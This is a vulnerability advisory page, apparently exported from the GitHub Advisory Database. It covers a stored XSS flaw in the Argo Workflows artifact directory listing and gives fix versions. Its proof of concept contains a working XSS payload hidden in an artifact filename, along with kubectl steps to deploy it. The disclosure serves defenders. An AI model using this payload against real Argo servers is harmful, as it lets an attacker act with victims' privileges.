github.com/argoproj/argo-workflows/v3
Affected
- introduced
0, fixed3.6.17(semver)
Fixed versions
3.6.17
Fix
- Fixed version
3.6.17go get github.com/argoproj/argo-workflows/[email protected]
Advisory
Also known as: BIT-argo-workflows-2026-23960, CVE-2026-23960, GO-2026-4350
Argo Workflows affected by stored XSS in the artifact directory listing
Summary
Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.
Details
The directory listing response in server/artifacts/artifact_server.go renders object names directly into HTML via fmt.Fprintf without escaping. Object names come from driver.ListObjects(...) and are attacker‑controlled when a workflow writes files into an output artifact directory.
https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244
PoC
kubectl create ns argo
kubectl apply --server-side -f manifests/base/crds/full
kubectl apply --server-side -k manifests/quick-start/postgres
kubectl -n argo port-forward deploy/argo-server 2746:2746
cat > /tmp/argo-xss.yaml <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: xss-artifact-test-
spec:
entrypoint: main
templates:
- name: main
container:
image: alpine
command: [sh, -c]
args:
- |
mkdir -p /tmp/artifacts
touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html'
outputs:
artifacts:
- name: dir
path: /tmp/artifacts
archive:
none: {}
EOF
kubectl -n argo create -f /tmp/argo-xss.yaml
kubectl -n argo get wf -w
kubectl -n argo get wf <wf-name> \
-o jsonpath='{range .status.nodes.*}{.id}{"\t"}{.displayName}{"\n"}{end}'
https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/
<img width="1220" height="349" alt="image" src="https://github.com/user-attachments/assets/9d859826-c7cd-403b-988e-74695552944b" />
Impact
As the script has access to the Argo Server API (as the victim), so may do the following (if the victim may):
High Basis: The source's own band: HIGH
0, fixed 3.6.17 (semver)3.6.17
3.6.17go get github.com/argoproj/argo-workflows/[email protected]3.7.0, fixed 3.7.8 (semver)3.7.8
3.7.8go get github.com/argoproj/argo-workflows/[email protected]0, last affected 2.5.3-rc4 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0